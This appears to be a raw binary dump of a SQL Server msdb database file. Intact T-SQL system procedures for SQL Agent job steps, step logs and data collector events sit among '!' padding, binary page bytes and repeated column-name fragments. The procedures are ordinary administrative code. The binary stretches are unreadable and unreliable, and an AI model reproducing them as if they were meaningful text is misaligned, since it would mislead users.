!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!P[`-6)F@偎0-ȃc88
;Hid0-ȃc4=name0-ȃc00Cenabled0-ȃc4Oemail_address0-ȃc88
Slast_email_date0-ȃc88
Slast_email_time0-ȃc4Opager_address0-ȃc88
Slast_pager_date0-ȃc	88
Slast_pager_time0-ȃc
88
eweekday_pager_start_time0-ȃc88
aweekday_pager_end_time0-ȃc88
gsaturday_pager_start_time0-ȃc
88
csaturday_pager_end_time0-ȃc88
csunday_pager_start_time0-ȃc88
_sunday_pager_end_time0-ȃc00Ipager_days0-ȃc4Snetsend_address0-ȃc88
Wlast_netsend_date0-ȃc88
Wlast_netsend_time0-ȃc88
Kcategory_id0-wd88
Ealert_id0-wd88
Koperator_id0-wd00[notification_method0-Bd$$C@job_id0-Bd4G@job_name0-
d4U@credential_name0-uc4]@primary_server_name0-uc4a@primary_database_name0-uc4a@secondary_server_name0-uc4e@secondary_database_name0-d4]@primary_server_name0-d4a@primary_database_name0-d4a@secondary_server_name0-d4e@secondary_database_name0-d88
W@backup_threshold0-d88
c@backup_threshold_alert0-dhhs@backup_threshold_alert_enabled0-d88
g@backup_outage_start_time0-d	88
c@backup_outage_end_time0-d
88
k@backup_outage_weekday_mask0-dhhO@copy_enabled0-dhhO@load_enabled0-d
88
a@out_of_sync_threshold0-d88
m@out_of_sync_threshold_alert0-dhh}@out_of_sync_threshold_alert_enabled0-d88
q@out_of_sync_outage_start_time0-d88
m@out_of_sync_outage_end_time0-d88
u@out_of_sync_outage_weekday_mask0-Kģc$$[@collection_set_uid0-Kģc88
[@collection_item_id0-Kģc$$a@collection_package_id0-Kģc$$Y@upload_package_id0-Kģc4e@collection_package_name0-Kģc4]@upload_package_nameK@account_id0-!e88
K@account_id0-!e4O@account_name0-!e4Q@email_address0-!e4O@display_name0-!e4U@replyto_address0-!e4M@description0-!e4U@mailserver_name0-!e4U@mailserver_type0-!e	88
?@port0-!e
4G@username0-!e4G@password0-!ehhe@use_default_credentials0-!e
hhK@enable_ssl0-!e88
E@timeout0-!ehh_@no_credential_change0-JEf88
K@account_id0-JEf4O@account_name0-uc4]@primary_server_name0-uc4a@primary_database_name0-uc4a@secondary_server_name0-uc4e@secondary_database_name0-d4]@primary_server_name0-d4a@primary_database_name0-d4a@secondary_server_name0-d4e@secondary_database_name0-d88
W@backup_threshold0-d88
c@backup_threshold_alert0-dhhs@backup_threshold_alert_enabled0-d88
g@backup_outage_start_time0-d	88
c@backup_outage_end_time0-d
88
k@backup_outage_weekday_mask0-dhhO@copy_enabled0-dhhO@load_enabled0-d
88
a@out_of_sync_thresholdPYd6A
,|-
_
"f
G
>'n		 	>iWd?wlw(`- )Nr	GE(:-$k40-$kUG@user_sid0-k4?@name0-gk88
K@profile_id0-gk4O@profile_name0-gk88
K@account_id0-gk4O@account_name0-=yk4=name0-=yk$$9id0-=yk4Kdescription0-=yk==Icreatedate0-=yk$$Efolderid0-=ykUUEownersid0-=yk""Kpackagedata0-=yk88
Opackageformat0-=yk	88
8bmKpackagetype0-=yk
88
Evermajor0-=yk88
Everminor0-=yk88
Everbuild0-=yk
4Kvercomments0-=yk$$?verid0-=ykhh\VnKisencrypted0-=ykUUKreadrolesid0-=ykUUMwriterolesid0-"lGdetail_id0-"lIhistory_id0-"l@4@ctarget_query_expression0-"l==Qexecution_date0-"lhhAresult0-"l4@Oresult_detail0-"l4@Wexception_message0-"l4@GexceptionQ@pager_address0-<qn88
g@weekday_pager_start_time0-<qn88
c@weekday_pager_end_time0-<qn88
i@saturday_pager_start_time0-<qn88
e@saturday_pager_end_time0-<qn	88
e@sunday_pager_start_time0-<qn
88
a@sunday_pager_end_time0-<qn00K@pager_days0-<qn4U@netsend_address0-<qn
4Q@category_name0-gk88
K@profile_id0-gk4O@profile_name0-gk88
K@account_id0-gk4O@account_name0-l88
K@profile_id0-l4O@profile_name0-l88
K@account_id0-l4O@account_name0-Bm4S@parameter_name0-Bm4U@parameter_value0-Bm4M@description0-gn4S@parameter_name0-Ko4S@parameter_name0-Ko4U@parameter_value0-=yk4=name0-=yk$$9id0-=yk4Kdescription0-=yk==Icreatedate0-=yk$$Efolderid0-=ykUUEownersid0-=yk""Kpackagedata0-=yk88
Opackageformat0-=yk	88
8bmKpackagetype0-=yk
88
Evermajor0-=yk88
Everminor0-=yk88
Everbuild0-=yk
4Kvercomments0-=yk$$?verid0-=ykhh\VnKisencrypted0-=ykUUKreadrolesid0-=ykUUMwriterolesid0-!Jo4=name0-!Jo$$9id0-!Jo4Kdescription0-!Jo==Kcreate_date0-!Jo4?owner0-!Jo88
Oversion_major0-!Jo88
Oversion_minor0-!Jo88
Oversion_build0-!Jo	4Uversion_comments0-!Jo
hhEfrom_msx0-!Jo88
Khas_targets0-R!n88
Sserver_group_id0-R!n4=name0-R!n4Kdescription0-R!n88
Kserver_type0-R!n88
Gparent_id0-R!nhhUis_system_object0-R!n88
gnum_server_group_children0-R!n88
qnum_registered_server_children0-vo88
Gserver_id0-vo88
Sserver_group_id0-vo4=name0-vo4Kserver_name0-vo4Kdescription0-vo88
Kserver_type0-"lGdetail_id0-"lIhistory_id0-"l@4@ctarget_query_expression0-"l==Qexecution_date0-"lhhAresult0-"l4@Oresult_detail0-"l4@Wexception_message n	;q&JRQr'a+	DGbhN	y*UK`7<	HCD0@ 8CREATE PROCEDURE dbo.sp_add_jobstep
  @job_id                UNIQUEIDENTIFIER = NULL,   -- Must provide either this or job_name
  @job_name              sysname          = NULL,   -- Must provide either this or job_id
  @step_id               INT              = NULL,   -- The proc assigns a default
  @step_name             sysname,
  @subsystem             NVARCHAR(40)     = N'TSQL',
  @command               NVARCHAR(max)   = NULL,   
  @additional_parameters NVARCHAR(max)    = NULL,
  @cmdexec_success_code  INT              = 0,
  @on_success_action     TINYINT          = 1,      -- 1 = Quit With Success, 2 = Quit With Failure, 3 = Goto Next Step, 4 = Goto Step
  @on_success_step_id    INT              = 0,
  @on_fail_action        TINYINT          = 2,      -- 1 = Quit With Success, 2 = Quit With Failure, 3 = Goto Next Step, 4 = Goto Step
  @on_fail_step_id       INT              = 0,
  @server                sysname      = NULL,
  @database_name         sysname          = NULL,
  @database_user_name    sysname          = NULL,
  @retry_attempts        INT              = 0,      -- No retries
  @retry_interval        INT              = 0,      -- 0 minute interval
  @os_run_priority       INT              = 0,      -- -15 = Idle, -1 = Below Normal, 0 = Normal, 1 = Above Normal, 15 = Time Critical)
  @output_file_name      NVARCHAR(200)    = NULL,
  @flags                 INT              = 0,       -- 0 = Normal, 
                                                     -- 1 = Encrypted command (read only), 
                                                     -- 2 = Append output files (if any), 
                                                     -- 4 = Write TSQL step output to step history,                                            
                                                     -- 8 = Write log to table (overwrite existing history), 
                                                     -- 16 = Write log to table (append to existing history)
                                                     -- 32 = Write all output to job history
                                                     -- 64 = Create a Windows event to use as a signal for the Cmd jobstep to abort
  @proxy_id                 INT                = NULL,
  @proxy_name               sysname          = NULL,
  -- mutual exclusive; must specify only one of above 2 parameters to 
  -- identify the proxy. 
  @step_uid UNIQUEIDENTIFIER = NULL OUTPUT
AS
BEGIN
  DECLARE @retval      INT

  SET NOCOUNT ON
  -- Only sysadmin's or db_owner's of msdb can add replication job steps directly
  IF (UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) IN
                        (N'DISTRIBUTION',
                         N'SNAPSHOT',
                         N'LOGREADER',
                         N'MERGE',
                         N'QUEUEREADER'))
  BEGIN
    IF NOT ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1) OR
            (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1) OR
            (UPPER(USER_NAME() collate SQL_Latin1_General_CP1_CS_AS) = N'DBO'))
    BEGIN
      RAISERROR(14260, -1, -1)
      RETURN(1) -- Failure
    END
  END

  --Only sysadmin can specify @database_user_name
  IF (@database_user_name IS NOT NULL) AND (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1)
  BEGIN
    RAISERROR(14583, -1, -1)
    RETURN(1) -- Failure    
  END

  -- Make sure Dts is translated into new subsystem's name SSIS
  IF UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'DTS'
  BEGIN
    SET @subsystem = N'SSIS'
  END

  EXECUTE @retval = dbo.sp_add_jobstep_internal @job_id = @job_id,
                                                @job_name = @job_name,
                                                @step_id = @step_id,
                                                @step_name = @step_name,
                                                @subsystem = @subsystem,
                                                @command = @command,
                                                @additional_parameters = @additional_parameters,
                                                @cmdexec_success_code = @cmdexec_success_code,
                                                @on_success_action = @on_success_action,
                                                @on_success_step_id = @on_success_step_id,
                                                @on_fail_action = @on_fail_action,
                                                @on_fail_step_id = @on_fail_step_id,
                                                @server = @server,
                                                @database_name = @database_name,
                                                @database_user_name = @database_user_name,
                                                @retry_attempts = @retry_attempts,
                                                @retry_interval = @retry_interval,
                                                @os_run_priority = @os_run_priority,
                                                @output_file_name = @output_file_name,
                                                @flags = @flags,
                                                            @proxy_id = @proxy_id,
                                                @proxy_name = @proxy_name,
                                                            @step_uid = @step_uid OUTPUT


  RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`J<
IM:Z70aD >8CREATE TRIGGER dbo.trig_sysjobs_insert_update
ON dbo.sysjobs
FOR INSERT, UPDATE
AS
BEGIN
  SET NOCOUNT ON
  -- Disallow the insert or update if the originating_server_id isn't in sysoriginatingservers_view.  
  IF (EXISTS (SELECT *
            FROM inserted
           WHERE inserted.originating_server_id NOT IN 
                    (SELECT v.originating_server_id 
                     FROM sysoriginatingservers_view AS v)))
  BEGIN
   RAISERROR(14379, -1, -1, 'dbo.sysjobs')
   ROLLBACK TRANSACTION
    RETURN
  END
END
0p7D 8CREATE PROCEDURE sp_write_sysjobstep_log
  @job_id    UNIQUEIDENTIFIER, 
  @step_id   INT,
  @log_text  NVARCHAR(MAX),
  @append_to_last INT = 0
AS
BEGIN
  DECLARE @step_uid UNIQUEIDENTIFIER
  DECLARE @log_already_exists int
  SET @log_already_exists = 0

  SET @step_uid = ( SELECT step_uid FROM  msdb.dbo.sysjobsteps
      WHERE (job_id = @job_id)
        AND (step_id = @step_id) )
  

  IF(EXISTS(SELECT * FROM msdb.dbo.sysjobstepslogs
                      WHERE step_uid = @step_uid ))
  BEGIN
     SET @log_already_exists = 1
  END

  --Need create log if "overwrite is selected or log does not exists. 
  IF (@append_to_last = 0) OR (@log_already_exists = 0)
  BEGIN
     -- flag is overwrite
     
     --if overwrite and log exists, delete it
     IF (@append_to_last = 0 AND @log_already_exists = 1)
     BEGIN
        -- remove previous logs entries 
        EXEC sp_delete_jobsteplog @job_id, NULL, @step_id, NULL   
     END
   
     INSERT INTO msdb.dbo.sysjobstepslogs
      (
         log,
         log_size,
         step_uid
      )
      VALUES
      (
         @log_text,
         DATALENGTH(@log_text),
         @step_uid
      )
  END
  ELSE
  BEGIN
     DECLARE @log_id   INT
     --Selecting TOP is just a safety net - there is only one log entry row per step.
     SET @log_id = ( SELECT TOP 1 log_id FROM msdb.dbo.sysjobstepslogs
         WHERE (step_uid = @step_uid)
           ORDER BY log_id DESC ) 

      -- Append @log_text to the existing log record. Note that if this
      -- action would make the value of the log column longer than
      -- nvarchar(max), then the engine will raise error 599.
      UPDATE msdb.dbo.sysjobstepslogs
        SET 
             log .WRITE(@log_text,NULL,0),
             log_size = DATALENGTH(log) + DATALENGTH(@log_text) ,
             date_modified = getdate()
      WHERE log_id = @log_id
  END

  RETURN(@@error) -- 0 means success

END
0[E *	8CREATE PROCEDURE sp_help_jobsteplog
  @job_id    UNIQUEIDENTIFIER = NULL, -- Must provide either this or job_name
  @job_name  sysname          = NULL, -- Must provide either this or job_id
  @step_id   INT              = NULL,
  @step_name sysname          = NULL
AS
BEGIN
  DECLARE @retval      INT
  DECLARE @max_step_id INT
  DECLARE @valid_range VARCHAR(50)

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT,
                                              'NO_TEST'
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check step id (if supplied)
  IF (@step_id IS NOT NULL)
  BEGIN
    -- Get current maximum step id
    SELECT @max_step_id = ISNULL(MAX(step_id), 0)
    FROM msdb.dbo.sysjobsteps
    WHERE job_id = @job_id
   IF @max_step_id = 0
   BEGIN
      RAISERROR(14528, -1, -1, @job_name)
      RETURN(1) -- Failure 
   END
    ELSE IF (@step_id < 1) OR (@step_id > @max_step_id)
    BEGIN
      SELECT @valid_range = '1..' + CONVERT(VARCHAR, @max_step_id)
      RAISERROR(14266, -1, -1, '@step_id', @valid_range)
      RETURN(1) -- Failure
    END
  END

  -- Check step name (if supplied)
  -- NOTE: A supplied step id overrides a supplied step name
  IF ((@step_id IS NULL) AND (@step_name IS NOT NULL))
  BEGIN
    SELECT @step_id = step_id
    FROM msdb.dbo.sysjobsteps
    WHERE (step_name = @step_name)
      AND (job_id = @job_id)

    IF (@step_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@step_name', @step_name)
      RETURN(1) -- Failure
    END
  END


    SELECT sjv.job_id,
           @job_name as job_name,
           steps.step_id,
           steps.step_name,
           steps.step_uid,
           logs.date_created,
           logs.date_modified,
           logs.log_size,
           logs.log
    FROM msdb.dbo.sysjobs_view sjv, msdb.dbo.sysjobsteps as steps, msdb.dbo.sysjobstepslogs as logs 
    WHERE (sjv.job_id = @job_id)
      AND (steps.job_id = @job_id)
      AND ((@step_id IS NULL) OR (step_id = @step_id))
      AND (steps.step_uid = logs.step_uid)
   
  RETURN(@@error) -- 0 means success
END
0F-D +8(getdate())0QE /8(suser_sname())0+D $8
CREATE PROCEDURE [dbo].[sp_syscollector_verify_event_log_id]
    @log_id bigint,
    @allow_collection_set_id bit = 0
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @log_id_as_char VARCHAR(36)

    IF (@log_id IS NULL)
    BEGIN
        RAISERROR(14606, -1, -1, '@log_id')
        RETURN (1)
    END
    ELSE IF @allow_collection_set_id = 0
    BEGIN
        IF (NOT EXISTS (SELECT log_id FROM dbo.syscollector_execution_log WHERE log_id = @log_id AND package_id IS NOT NULL))
        BEGIN
            SELECT @log_id_as_char = CONVERT(VARCHAR(36), @log_id)

            RAISERROR(14262, -1, -1, '@log_id', @log_id_as_char)
            RETURN (1)
        END
    END
    ELSE
    BEGIN
        IF (NOT EXISTS (SELECT log_id FROM dbo.syscollector_execution_log WHERE log_id = @log_id))
        BEGIN
            SELECT @log_id_as_char = CONVERT(VARCHAR(36), @log_id)

            RAISERROR(14262, -1, -1, '@log_id', @log_id_as_char)
            RETURN (1)
        END
    END

    RETURN (0)
END
0+=E@ 8
CREATE PROCEDURE [dbo].[sp_syscollector_event_oncollectionstart]
    @collection_set_id int,
    @operator nvarchar(128) = NULL,
    @log_id bigint OUTPUT
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_operator')
        RETURN(1) -- Failure
    END

    -- Verify parameters
    --

    -- Check the collection_set_id
    IF (@collection_set_id IS NULL)
    BEGIN
        RAISERROR(14606, -1, -1, '@collection_set_id')
        RETURN (1)
    END
    ELSE IF (NOT EXISTS (SELECT collection_set_id FROM dbo.syscollector_collection_sets WHERE collection_set_id = @collection_set_id))
    BEGIN
        DECLARE @collection_set_id_as_char VARCHAR(36)
        SELECT @collection_set_id_as_char = CONVERT(VARCHAR(36), @collection_set_id)

        RAISERROR(14262, -1, -1, '@collection_set_id', @collection_set_id_as_char)
        RETURN (1)
    END


    -- Default operator to currently logged in user
    SET @operator = NULLIF(LTRIM(RTRIM(@operator)), '')
    SET @operator = ISNULL(@operator, suser_sname())

    -- Insert the log record
    --
    INSERT INTO dbo.syscollector_execution_log_internal (
        parent_log_id, 
        collection_set_id, 
        start_time,
        last_iteration_time,
        finish_time,
        runtime_execution_mode,
        [status],
        operator,
        package_id,
        package_execution_id,
        failure_message
    ) VALUES (
        NULL,
        @collection_set_id,
        GETDATE(),
        NULL,
        NULL,
        NULL,
        0, -- Running
        @operator,
        NULL,
        NULL,
        NULL
    )

    SET @log_id = SCOPE_IDENTITY()                
    
    RETURN (0)
END
0D %8((0))!!!!!!!!!!!!!!!!!!!wR-s
W2x
`I<_J!p07C ?8CREATE PROCEDURE sp_help_jobstep
  @job_id    UNIQUEIDENTIFIER = NULL, -- Must provide either this or job_name
  @job_name  sysname          = NULL, -- Must provide either this or job_id
  @step_id   INT              = NULL,
  @step_name sysname          = NULL,
  @suffix    BIT              = 0     -- A flag to control how the result set is formatted
AS
BEGIN
  DECLARE @retval      INT
  DECLARE @max_step_id INT
  DECLARE @valid_range VARCHAR(50)

  SET NOCOUNT ON

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT,
                                              'NO_TEST'
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- The suffix flag must be either 0 (ie. no suffix) or 1 (ie. add suffix). 0 is the default.
  IF (@suffix <> 0)
    SELECT @suffix = 1

  -- Check step id (if supplied)
  IF (@step_id IS NOT NULL)
  BEGIN
    -- Get current maximum step id
    SELECT @max_step_id = ISNULL(MAX(step_id), 0)
    FROM msdb.dbo.sysjobsteps
    WHERE job_id = @job_id
   IF @max_step_id = 0
   BEGIN
      RAISERROR(14528, -1, -1, @job_name)
      RETURN(1) -- Failure 
   END
    ELSE IF (@step_id < 1) OR (@step_id > @max_step_id)
    BEGIN
      SELECT @valid_range = '1..' + CONVERT(VARCHAR, @max_step_id)
      RAISERROR(14266, -1, -1, '@step_id', @valid_range)
      RETURN(1) -- Failure
    END
  END

  -- Check step name (if supplied)
  -- NOTE: A supplied step id overrides a supplied step name
  IF ((@step_id IS NULL) AND (@step_name IS NOT NULL))
  BEGIN
    SELECT @step_id = step_id
    FROM msdb.dbo.sysjobsteps
    WHERE (step_name = @step_name)
      AND (job_id = @job_id)

    IF (@step_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@step_name', @step_name)
      RETURN(1) -- Failure
    END
  END

  -- Return the job steps for this job (or just return the specific step)
  IF (@suffix = 0)
  BEGIN
    SELECT step_id,
           step_name,
           subsystem,
           command,
           flags,
           cmdexec_success_code,
           on_success_action,
           on_success_step_id,
           on_fail_action,
           on_fail_step_id,
           server,
           database_name,
           database_user_name,
           retry_attempts,
           retry_interval,
           os_run_priority,
           output_file_name,
           last_run_outcome,
           last_run_duration,
           last_run_retries,
           last_run_date,
           last_run_time,
         proxy_id
    FROM msdb.dbo.sysjobsteps
    WHERE (job_id = @job_id)
      AND ((@step_id IS NULL) OR (step_id = @step_id))
    ORDER BY job_id, step_id
  END
  ELSE
  BEGIN
    SELECT step_id,
           step_name,
           subsystem,
           command,
          'flags' = CONVERT(NVARCHAR, flags) + N' (' +
                    ISNULL(CASE WHEN (flags = 0)     THEN FORMATMESSAGE(14561) END, '') +
                    ISNULL(CASE WHEN (flags & 1) = 1 THEN FORMATMESSAGE(14558) + ISNULL(CASE WHEN (flags > 1) THEN N', ' END, '') END, '') +
                    ISNULL(CASE WHEN (flags & 2) = 2 THEN FORMATMESSAGE(14559) + ISNULL(CASE WHEN (flags > 3) THEN N', ' END, '') END, '') +
                    ISNULL(CASE WHEN (flags & 4) = 4 THEN FORMATMESSAGE(14560) END, '') + N')',
           cmdexec_success_code,
          'on_success_action' = CASE on_success_action
                                  WHEN 1 THEN CONVERT(NVARCHAR, on_success_action) + N' ' + FORMATMESSAGE(14562)
                                  WHEN 2 THEN CONVERT(NVARCHAR, on_success_action) + N' ' + FORMATMESSAGE(14563)
                                  WHEN 3 THEN CONVERT(NVARCHAR, on_success_action) + N' ' + FORMATMESSAGE(14564)
                                  WHEN 4 THEN CONVERT(NVARCHAR, on_success_action) + N' ' + FORMATMESSAGE(14565)
                                  ELSE        CONVERT(NVARCHAR, on_success_action) + N' ' + FORMATMESSAGE(14205)
                                END,
           on_success_step_id,
          'on_fail_action' = CASE on_fail_action
                               WHEN 1 THEN CONVERT(NVARCHAR, on_fail_action) + N' ' + FORMATMESSAGE(14562)
                               WHEN 2 THEN CONVERT(NVARCHAR, on_fail_action) + N' ' + FORMATMESSAGE(14563)
                               WHEN 3 THEN CONVERT(NVARCHAR, on_fail_action) + N' ' + FORMATMESSAGE(14564)
                               WHEN 4 THEN CONVERT(NVARCHAR, on_fail_action) + N' ' + FORMATMESSAGE(14565)
                               ELSE        CONVERT(NVARCHAR, on_fail_action) + N' ' + FORMATMESSAGE(14205)
                             END,
           on_fail_step_id,
           server,
           database_name,
           database_user_name,
           retry_attempts,
           retry_interval,
          'os_run_priority' = CASE os_run_priority
                                WHEN -15 THEN CONVERT(NVARCHAR, os_run_priority) + N' ' + FORMATMESSAGE(14566)
                                WHEN -1  THEN CONVERT(NVARCHAR, os_run_priority) + N' ' + FORMATMESSAGE(14567)
                                WHEN  0  THEN CONVERT(NVARCHAR, os_run_priority) + N' ' + FORMATMESSAGE(14561)
                                WHEN  1  THEN CONVERT(NVARCHAR, os_run_priority) + N' ' + FORMATMESSAGE(14568)
                                WHEN  15 THEN CONVERT(NVARCHAR, os_run_priority) + N' ' + FORMATMESSAGE(14569)
                                ELSE          CONVERT(NVARCHAR, os_run_priority) + N' ' + FORMATMESSAGE(14205)
                              END,
           output_file_name,
           last_run_outcome,
           last_run_duration,
           last_run_retries,
           last_run_date,
           last_run_time,
         proxy_id
    FROM msdb.dbo.sysjobsteps
    WHERE (job_id = @job_id)
      AND ((@step_id IS NULL) OR (step_id = @step_id))
    ORDER BY job_id, step_id
  END

  RETURN(@@error) -- 0 means success
